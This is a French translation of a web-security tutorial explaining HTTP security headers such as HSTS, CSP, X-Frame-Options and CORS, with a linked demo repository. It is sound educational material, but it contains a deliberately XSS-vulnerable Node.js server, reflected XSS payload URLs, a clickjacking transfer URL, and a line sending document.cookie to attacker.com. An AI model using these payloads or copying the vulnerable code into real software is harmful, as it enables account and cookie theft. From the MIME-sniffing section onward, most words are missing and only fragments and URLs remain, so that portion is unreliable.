
Il s'agit de la troisiÚme partie de la série sur la sécurité Web: la deuxiÚme partie était «
Sécurité Web: une introduction à HTTP », la premiÚre «
Comment les navigateurs fonctionnent - Une introduction à la sécurité des applications Web ».
Comme nous l'avons vu dans les parties prĂ©cĂ©dentes de cette sĂ©rie, les serveurs peuvent envoyer des en-tĂȘtes HTTP pour fournir au client des mĂ©tadonnĂ©es supplĂ©mentaires dans la rĂ©ponse, en plus d'envoyer le contenu demandĂ© par le client. Les clients sont ensuite autorisĂ©s Ă spĂ©cifier comment lire, mettre en cache ou protĂ©ger une ressource spĂ©cifique.
Les navigateurs ont dĂ©sormais implĂ©mentĂ© une trĂšs large gamme d'en-tĂȘtes liĂ©s Ă la sĂ©curitĂ© pour rendre plus difficile pour les attaquants d'exploiter les vulnĂ©rabilitĂ©s. Dans cet article, nous allons essayer de discuter de chacun d'eux, en expliquant comment ils sont utilisĂ©s, quelles attaques ils empĂȘchent et un petit historique pour chaque rubrique.

Le message a été écrit avec le soutien d'EDISON Software, qui s'efforce de faire honneur aux programmeurs russes et partage en détail son expérience dans le développement de produits logiciels complexes .
HTTP Strict Transport Security (HSTS)
Depuis la fin de 2012, il est devenu plus facile pour les supporters de HTTPS Everywhere de faire en sorte que le client utilise toujours la version sécurisée du protocole HTTP grùce à Strict Transport Security: la ligne trÚs simple
Strict-Transport-Security: max-age=3600
indiquera au navigateur que dans l'heure qui suit (3600 secondes), il ne doit pas interagir avec l'application via des protocoles dangereux.
Lorsqu'un utilisateur essaie d'accéder à une application protégée par HSTS via HTTP, le navigateur refuse simplement d'aller plus loin, convertissant automatiquement les URL
http://
en
https://
.
Vous pouvez vérifier cela localement avec le code
github.com/odino/wasec/tree/master/hsts . Vous devrez suivre les instructions de README (cela inclut l'installation d'un certificat SSL approuvé pour
localhost
sur votre ordinateur Ă l'aide de l'outil
mkcert ), puis essayez d'ouvrir
https://localhost:7889
.
Dans cet exemple, il y a 2 serveurs: HTTPS, qui écoute sur
7889
, et HTTP, sur le port
7888
. Lorsque vous accédez à un serveur HTTPS, il essaiera toujours de vous rediriger vers une version HTTP qui fonctionnera car HSTS n'est pas disponible sur le serveur HTTPS. Si vous ajoutez
hsts=on
paramĂštre
hsts=on
Ă votre URL, le navigateur convertit de force le lien vers la version
https://
. Ătant donnĂ© que le serveur sur
7888
est uniquement accessible via le protocole http, vous
7888
par
7888
une page qui ressemble Ă ceci.

Vous pouvez ĂȘtre intĂ©ressĂ© de savoir ce qui se passe lorsqu'un utilisateur visite votre site pour la premiĂšre fois, car la stratĂ©gie HSTS n'est pas prĂ©dĂ©finie: les attaquants peuvent potentiellement tromper l'utilisateur dans la version
http://
de votre site et y lancer une attaque, donc il y a encore place pour des problĂšmes . Il s'agit d'un problĂšme grave car HSTS est un mĂ©canisme d'approbation lors de la premiĂšre utilisation. Il essaie de s'assurer qu'aprĂšs avoir visitĂ© le site Web, le navigateur sait que HTTPS doit ĂȘtre utilisĂ© dans les interactions ultĂ©rieures.
Une solution de contournement pourrait ĂȘtre en maintenant une Ă©norme base de donnĂ©es de sites Web qui prennent en charge HSTS, ce que Chrome fait via
hstspreload.org . Vous devez d'abord Ă©tablir votre politique, puis visiter le site Web et voir si elle peut ĂȘtre ajoutĂ©e Ă la base de donnĂ©es. Par exemple, nous pouvons voir que Facebook est sur la liste.

En soumettant votre site Web Ă cette liste, vous pouvez indiquer Ă l'avance aux navigateurs que votre site utilise HSTS, de sorte que mĂȘme la premiĂšre interaction entre les clients et votre serveur se fera via un canal sĂ©curisĂ©. Mais c'est cher, car il faut vraiment participer au HSTS. Si, pour une raison quelconque, vous souhaitez que votre site Web soit supprimĂ© de la liste, ce n'est pas une tĂąche facile pour les fournisseurs de navigateurs:
Gardez Ă l'esprit que l'inclusion dans la liste de prĂ©chargement ne peut pas ĂȘtre facilement annulĂ©e.
Les domaines peuvent ĂȘtre supprimĂ©s, mais il faut des mois pour mettre Chrome Ă jour pour les utilisateurs, et nous ne pouvons pas garantir les autres navigateurs. Ne demandez pas l'inclusion dans la liste si vous n'ĂȘtes pas sĂ»r de pouvoir prendre en charge HTTPS pour l'ensemble de votre site et de tous ses sous-domaines pendant une longue pĂ©riode.
- Source: https://hstspreload.org/
En effet, le fournisseur ne peut garantir que tous les utilisateurs utiliseront la derniÚre version de leur navigateur et que votre site sera supprimé de la liste. Réfléchissez bien et prenez une décision en fonction de votre degré de confiance dans HSTS et de votre capacité à l'appuyer à long terme.
Ăpinglage de clĂ© publique HTTP (HPKP)
L'Ă©pinglage de clĂ© publique HTTP est un mĂ©canisme qui nous permet d'indiquer au navigateur les certificats SSL Ă attendre lors de la connexion Ă nos serveurs. Cet en-tĂȘte utilise le mĂ©canisme d'approbation lors de la premiĂšre utilisation, comme HSTS, et signifie qu'aprĂšs la connexion du client Ă notre serveur, il stockera les informations de certificat pour les interactions ultĂ©rieures. Si, Ă un moment donnĂ©, le client dĂ©couvre que le serveur utilise un certificat diffĂ©rent, il refusera poliment de se connecter, ce qui rendra trĂšs difficile la conduite d'une attaque d'homme au milieu (MITM).
Voici Ă quoi ressemble la politique HPKP:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
L'en-tĂȘte annonce quels certificats le serveur utilisera (dans ce cas, deux d'entre eux) en utilisant le hachage de certificat, et inclut des informations supplĂ©mentaires telles que la durĂ©e de vie de cette directive (
max-age = 3600
) et plusieurs autres détails. Malheureusement, cela n'a aucun sens de creuser plus profondément pour comprendre ce que nous pouvons faire avec la sécurisation de la clé publique,
car Chrome n'approuve pas cette fonctionnalité - un signal que son adoption est vouée à l'échec.
La solution de Chrome n'est pas irrationnelle, c'est juste une conséquence des risques associés à la sécurisation de la clé publique. Si vous perdez votre certificat ou faites simplement une erreur pendant les tests, votre site sera inaccessible aux utilisateurs qui l'ont déjà visité (pendant la période de validité de la directive
max-age
, qui est généralement des semaines ou des mois).
En raison de ces consĂ©quences potentiellement catastrophiques, l'adoption du HPKP Ă©tait extrĂȘmement faible et il y avait des moments
oĂč les grands sites Web n'Ă©taient pas disponibles en raison d'une mauvaise configuration . Compte tenu de tout ce qui prĂ©cĂšde, Chrome a dĂ©cidĂ© que les utilisateurs seraient mieux sans la protection offerte par HPKP, et
les chercheurs en sécurité ne sont pas complÚtement opposés à cette décision .
Expect-CT
Alors que HPKP dĂ©sapprouvait, un nouvel en-tĂȘte est apparu pour empĂȘcher les certificats SSL frauduleux pour les clients:
Expect-CT
.
Le but de cet en-tĂȘte est d'indiquer au navigateur qu'il doit effectuer des «vĂ©rifications d'antĂ©cĂ©dents» supplĂ©mentaires pour vĂ©rifier que le certificat est authentique: lorsque le serveur utilise l'en
Expect-CT
tĂȘte
Expect-CT
, il demande essentiellement au client de vérifier que les certificats utilisés se trouvent dans les journaux de certificats de transparence ouverts. (CT).
L'initiative de transparence des certificats est le fruit des efforts de Google pour garantir:
Une plate-forme ouverte pour la surveillance et l'audit des certificats SSL en temps quasi réel.
En particulier, la transparence des certificats vous permet de détecter les certificats SSL émis par erreur par une autorité de certification ou obtenus par malveillance d'une autre autorité de certification sans faille. Il vous permet également d'identifier les autorités de certification qui ont commis une fraude et d'émettre des certificats par malveillance.
- Source: https://www.certificate-transparency.org/
L'en-tĂȘte prend cette forme:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
Dans cet exemple, le serveur demande au navigateur:
- activer la vérification CT pour l'application actuelle pendant une période de 1 heure (3600 secondes)
enforce
appliquer cette politique et refuser l'accÚs à l'application en cas de violation- envoyer un rapport à l'URL spécifiée en cas de violation
L'objectif de l'initiative de transparence des certificats est de détecter les certificats émis par erreur ou malveillants (et les autorités de certification frauduleuses) plus tÎt, plus rapidement et plus précisément que toute autre méthode utilisée auparavant.
En activant l'utilisation de l'en
Expect-CT
tĂȘte
Expect-CT
, vous pouvez prendre cette initiative pour améliorer l'état de sécurité de votre application.
X-frame-options
Imaginez que vous voyez une page Web comme celle-ci

DÚs que vous cliquez sur le lien, vous comprenez que tout l'argent de votre compte bancaire a disparu. Qu'est-il arrivé?
Vous avez été victime d'une attaque par détournement de clics.
Un attaquant vous a dirigé vers son site Web, qui affiche un lien de clic trÚs attrayant. Malheureusement, il a également intégré la page iframe avec
your-bank.com/transfer?amount=-1&[attacker@gmail.com]
, mais l'a
your-bank.com/transfer?amount=-1&[attacker@gmail.com]
en définissant la transparence à 0%. Nous pensions avoir cliqué sur la page d'origine, essayant de gagner un tout nouveau hamer, mais à la place, le navigateur a fixé un clic sur l'iframe, un clic dangereux qui a confirmé le transfert d'argent.
La plupart des systÚmes bancaires exigent que vous fournissiez un NIP unique pour confirmer les transactions, mais votre banque n'a pas rattrapé l'heure et tout votre argent a été perdu.
L'exemple est assez extrĂȘme, mais il devrait vous faire comprendre quelles peuvent ĂȘtre les consĂ©quences d'une
attaque utilisant le détournement de clics . L'utilisateur a l'intention de cliquer sur un lien spécifique, tandis que le navigateur provoquera un clic sur la page "invisible", qui a été intégrée comme cadre.
J'ai inclus un exemple de cette vulnérabilité dans
github.com/odino/wasec/tree/master/clickjacking . Si vous exĂ©cutez l'exemple et essayez de cliquer sur le lien «attrayant», vous verrez que le vrai clic est interceptĂ© par l'iframe, ce qui le rend non transparent, de sorte qu'il est plus facile pour vous de dĂ©tecter le problĂšme. Un exemple devrait ĂȘtre disponible sur
http://localhost:7888
.

Heureusement, les navigateurs ont trouvé une solution simple à ce problÚme:
X-Frame-Options
(XFO), qui vous permet de dĂ©cider si votre application peut ĂȘtre incorporĂ©e comme iframes sur des sites Web externes. PopularisĂ© par Internet Explorer 8, XFO a Ă©tĂ© introduit pour la premiĂšre fois en 2009 et est toujours pris en charge par tous les principaux navigateurs.
Cela fonctionne comme ceci: lorsque le navigateur voit un iframe, il le charge et vĂ©rifie que son XFO lui permet d'ĂȘtre inclus dans la page actuelle avant de le rendre.

Valeurs prises en charge:
DENY
: cette page Web ne peut ĂȘtre intĂ©grĂ©e nulle part. Il s'agit du plus haut niveau de protection car il ne permet Ă personne d'intĂ©grer notre contenu.SAMEORIGIN
: Seules les pages du mĂȘme domaine que l'actuel peuvent insĂ©rer cette page. Cela signifie que example.com/embedder
peut charger example.com/embedded
si sa stratégie est définie sur SAMEORIGIN
. Il s'agit d'une politique plus calme qui permet aux propriétaires d'un site Web particulier d'intégrer leurs propres pages dans leur application.ALLOW-FROM uri
: piÚce jointe autorisée à partir de l'URI spécifié. Nous pourrions, par exemple, autoriser un site Web externe autorisé à intégrer notre contenu en utilisant ALLOW-FROM https://external.com
. Ceci est généralement utilisé lorsque vous allez autoriser des développeurs tiers à intégrer votre contenu via un iframe.
Un exemple de réponse HTTP qui inclut la politique XFO la plus stricte possible est la suivante:
HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ...
Pour montrer comment les navigateurs se comportent lorsque XFO est activé, nous pouvons simplement changer notre exemple d'URL en
http://localhost:7888 /?xfo=on
. Le paramĂštre
xfo=on
indique au serveur d'inclure
X-Frame-Options: deny
dans la réponse, et nous pouvons voir comment le navigateur restreint l'accÚs à l'iframe:

XFO était considéré comme le meilleur moyen de prévenir les attaques basées sur les clics basées sur les frames jusqu'à ce qu'un autre titre entre en jeu aprÚs quelques années - Content Security Policy ou CSP pour faire court.
Politique de sécurité du contenu (CSP)
L'en
Content-Security-Policy
tĂȘte
Content-Security-Policy
, abrĂ©gĂ© CSP, fournit des utilitaires de nouvelle gĂ©nĂ©ration pour empĂȘcher une variĂ©tĂ© d'attaques, de XSS (cross-site scripting) Ă l'interception de clics (click-jacking).
Pour comprendre comment CSP nous aide, vous devez d'abord penser Ă un vecteur d'attaque. Disons que nous venons de crĂ©er notre propre moteur de recherche Google, oĂč il y a un champ de saisie simple avec un bouton de soumission.

Cette application web n'a rien de magique. C'est simple
- affiche le formulaire
- permet Ă l'utilisateur de rechercher
- affiche les résultats de la recherche avec le mot clé recherché par l'utilisateur
Lorsque nous effectuons une recherche simple, l'application renvoie les informations suivantes:

Incroyable Notre application a incroyablement compris notre recherche et a trouvé une image similaire. Si nous nous penchons sur le code source disponible sur
github.com/odino/wasec/tree/master/xss , nous nous rendrons bientÎt compte que l'application présente un problÚme de sécurité, car tout mot clé qu'un utilisateur recherche est directement imprimé en HTML:
var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html>
C'est une conséquence désagréable. Un attaquant peut créer un lien spécifique qui exécute du JavaScript arbitraire dans le navigateur de la victime.

Si vous avez le temps et la patience d'exĂ©cuter l'exemple localement, vous pouvez rapidement comprendre toute la puissance de CSP. J'ai ajoutĂ© un paramĂštre de chaĂźne de requĂȘte qui inclut CSP, afin que nous puissions essayer de passer Ă une URL malveillante avec CSP activĂ©:
localhost : 7888 /? search =% 3Cscript + type% 3D 3D% 22text% 2Fjavascript% 22% 3Ealert% 28% 27You% 20have% 20been% 20PWNED% 27% 29% 3C% 2Fscript% 3E & csp = on

Comme vous le voyez dans l'exemple ci-dessus, nous avons indiquĂ© au navigateur que notre stratĂ©gie CSP autorise uniquement les scripts inclus Ă partir de la mĂȘme source de l'URL actuelle, que nous pouvons facilement vĂ©rifier en accĂ©dant Ă l'URL en utilisant curl et en regardant l'en-tĂȘte de rĂ©ponse:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive
Ătant donnĂ© que l'attaque XSS a Ă©tĂ© effectuĂ©e Ă l'aide d'un script intĂ©grĂ© (un script directement intĂ©grĂ© au contenu HTML), le navigateur a poliment refusĂ© de l'exĂ©cuter, garantissant la sĂ©curitĂ© de notre utilisateur. Imaginez qu'au lieu d'afficher simplement une boĂźte de dialogue d'avertissement, un attaquant configurerait une redirection vers son propre domaine via du code JavaScript, qui pourrait ressembler Ă ceci:
window.location = `attacker.com/${document.cookie}`
Ils pourraient voler tous les cookies utilisateur, qui peuvent contenir des données trÚs confidentielles (plus à ce sujet dans le prochain article).
Ă prĂ©sent, il devrait ĂȘtre clair comment CSP nous aide Ă prĂ©venir un certain nombre d'attaques sur les applications Web. Vous dĂ©finissez une politique, et le navigateur s'y conformera strictement, refusant d'exĂ©cuter des ressources qui violeront la politique.
Une option intéressante pour CSP est le mode de rapport uniquement. Au lieu d'utiliser l'en
Content-Security-Policy
tĂȘte
Content-Security-Policy
, vous pouvez d'abord vérifier l'effet du CSP sur votre site en disant au navigateur de simplement signaler les erreurs sans bloquer l'exécution du script, etc. Utilisation de l'en
Content-Security-Policy-Report-Only
tĂȘte
Content-Security-Policy-Report-Only
.
Les rapports vous permettront de comprendre quels changements critiques peuvent ĂȘtre causĂ©s par la stratĂ©gie CSP que vous souhaitez dĂ©ployer et de les corriger en consĂ©quence. Nous pouvons mĂȘme fournir l'URL du rapport et le navigateur nous enverra le rapport. Voici un exemple complet de stratĂ©gie de rapport uniquement:
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
Les stratĂ©gies CSP elles-mĂȘmes peuvent ĂȘtre un peu compliquĂ©es, par exemple dans l'exemple suivant:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
Cette politique définit les rÚgles suivantes:
- les scripts exĂ©cutables (par exemple JavaScript) ne peuvent ĂȘtre tĂ©lĂ©chargĂ©s
scripts.example.com
partir de scripts.example.com
- Les images peuvent ĂȘtre tĂ©lĂ©chargĂ©es Ă partir de n'importe quelle source (
img-src: *
) - le contenu vidĂ©o ou audio peut ĂȘtre tĂ©lĂ©chargĂ© Ă partir de deux sources:
medias.example.com
et medias.legacy.example.com
Comme vous pouvez le voir, il peut y avoir de nombreux politiciens, et si nous voulons offrir une protection maximale Ă nos utilisateurs, cela peut ĂȘtre un processus assez fastidieux. Cependant, la rĂ©daction d'une politique CSP complĂšte est une Ă©tape importante vers l'ajout d'une couche de sĂ©curitĂ© supplĂ©mentaire Ă nos applications Web.
Pour plus d'informations sur CSP, je recommanderais
developer.mozilla.org/en-US/docs/Web/HTTP/CSP .
Protection X-XSS
Bien que remplacé par CSP, l'en
X-XSS-Protection
tĂȘte
X-XSS-Protection
fournit le mĂȘme type de protection. Cet en-tĂȘte est utilisĂ© pour attĂ©nuer les attaques XSS dans les anciens navigateurs qui ne prennent pas totalement en charge CSP. Cet en-tĂȘte n'est pas pris en charge par Firefox.
Sa syntaxe est trĂšs similaire Ă ce que nous venons de voir:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
Reflected XSS est le type d'attaque le plus courant lorsque le texte saisi est imprimĂ© par le serveur sans aucune vĂ©rification, et c'est lĂ que cet en-tĂȘte rĂ©sout vraiment. Si vous voulez le voir par vous-mĂȘme, je vous recommande d'essayer l'exemple sur
github.com/odino/wasec/tree/master/xss , car en ajoutant
xss=on
à l'URL, il montre ce que fait le navigateur lorsque la protection XSS est activée . Si nous entrons une chaßne malveillante dans le champ de recherche, par exemple, le navigateur refuse poliment d'exécuter le script et explique la raison de sa décision:
The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
Encore plus intéressant est le comportement par défaut dans Chrome lorsqu'une stratégie CSP ou XSS n'est pas spécifiée sur une page Web. Un script que nous pouvons tester en ajoutant le paramÚtre
xss=off
Ă notre URL (
http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off
):

Ătonnamment, Chrome est suffisamment prudent pour empĂȘcher le rendu des pages, ce qui rend difficile la crĂ©ation de XSS en miroir. Impressionnant jusqu'oĂč les navigateurs sont allĂ©s.
Politique de fonctionnalité
En juillet 2018, le chercheur en sécurité
Scott Helm a publié un
article de blog trÚs intéressant détaillant le nouveau titre de sécurité:
Feature-Policy
.
Actuellement pris en charge par trĂšs peu de navigateurs (Chrome et Safari au moment de la rĂ©daction de cet article), cet en-tĂȘte nous permet de dĂ©terminer si une fonctionnalitĂ© de navigateur particuliĂšre est activĂ©e sur la page actuelle. Avec une syntaxe trĂšs similaire Ă CSP, nous ne devrions avoir aucun problĂšme Ă comprendre ce que les politiques de fonction signifient, telles que les suivantes:
Feature-Policy: vibrate 'self'; push *; camera 'none'
Si nous avons tous des doutes, comment cette politique affecte l'API du navigateur, nous pouvons simplement l'analyser:
vibrate 'self'
: permet Ă la page actuelle d'utiliser l'API de vibration et n'importe quel cadre du site actuel.push *
: la page en cours et n'importe quel cadre peuvent utiliser l'API de notification pushcamera 'none'
: l'accÚs à l'API de la caméra est refusé sur cette page et sur les cadres
La politique des fonctionnalités a un peu d'histoire. Si votre site permet aux utilisateurs, par exemple, de prendre des selfies ou d'enregistrer de l'audio, il serait trÚs utile d'utiliser une politique qui restreint l'accÚs à l'API via votre page dans d'autres contextes.
Options de type de contenu X
Parfois, les fonctionnalités du navigateur intelligent finissent par nous nuire en termes de sécurité. Un exemple parfait est le reniflement MIME, une technique populaire dans Internet Explorer.
MIME- â ( ) . ,
/awesome-picture.png
, (,
Content-Type: text/plain
). , .
, IE , MIME-: «» , , ,
Content-Type
, , , , .
-, , ,
/test.jpg
, JavaScript. , ? , HTML , , «», . , , , .
,
X-Content-Type-Options: nosniff
, MIME-: , , , . , , , .
Cross-Origin Resource Sharing (CORS)
JavaScript HTTP- . , AJAX-
example.com
example.com
.
, â cookie, . ,
win-a-hummer.com
, AJAX
your-bank.com
. - , HTTP- , , , .
AJAX , Cross Origin Resource Sharing (CORS), , .
, CORS, , , «» CORS.
, , ,
Access-Control-Allow-Origin
, , .
Access-Control-Allow-Origin: *
, , , URL-, ,
Access-Control-Allow-Origin: https://example.com
.
github.com/odino/wasec/tree/master/cors , , . , AJAX
test-cors
test-cors-2
. test-cors-2 CORS, , .
http://cors-test:7888/?cors=on

cors
URL, :

, , , , . , , . , , ,
my-bank.com/transfer?amount=1000&from=me&to=attacker.
!
,
GET
- , ,
POST
-? , , ,
http://cors-test:7888/?method=POST
:

POST
, , « ». ,
OPTIONS
, . , ,
POST
.
:
- CORS â . , , , .
- API,
GET
. , .
, -, , , CORS. , ,
example.com
,
example.com/_proxy/other.com
, ,
_proxy/other.com/*
,
other.com
.
, , CORS, MDN ,
developer.mozilla.org/en-US/docs/Web/HTTP/CORS .
X-Permitted-Cross-Domain-Policies
CORS,
X-Permitted-Cross-Domain-Policies
Adobe ( , Flash Acrobat).
, , . , Adobe
crossdomain.xml
, ,
X-Permitted-Cross-Domain-Policies
.
?
X-Permitted-Cross-Domain-Policies: none
, Flash.
Referrer-Policy
, , .
Referer
, . URL , .
, , . , .
Referer
. , , .
Referrer-Policy
, 2017 , , , URL-
Referer
.
,
Referrer-Policy
:
no-referrer
: Referer
origin
: https://example.com/private-page
https://example.com/
same-origin
: Referer
,
,
Referred-Policy
(
strict-origin
,
no-referrer-when-downgrade
. .), , , , . , ,
OWASP .
Origin
Referer
, , , .
Origin
, . -:
Origin
, .
, HTTP-, cURL, : c
url -H "Origin: example.com" api.example.com
origin âŠâŠ
Origin
(
Referer
, ) .
securityheaders.com , -, , - , . , URL, .
facebook.com :

, , securityheaders.com â , .
HTTP : cookie
HTTP, , - , .
HTTP: .
, - HTTP , , , ( ) -: - , , « ». , cookie , .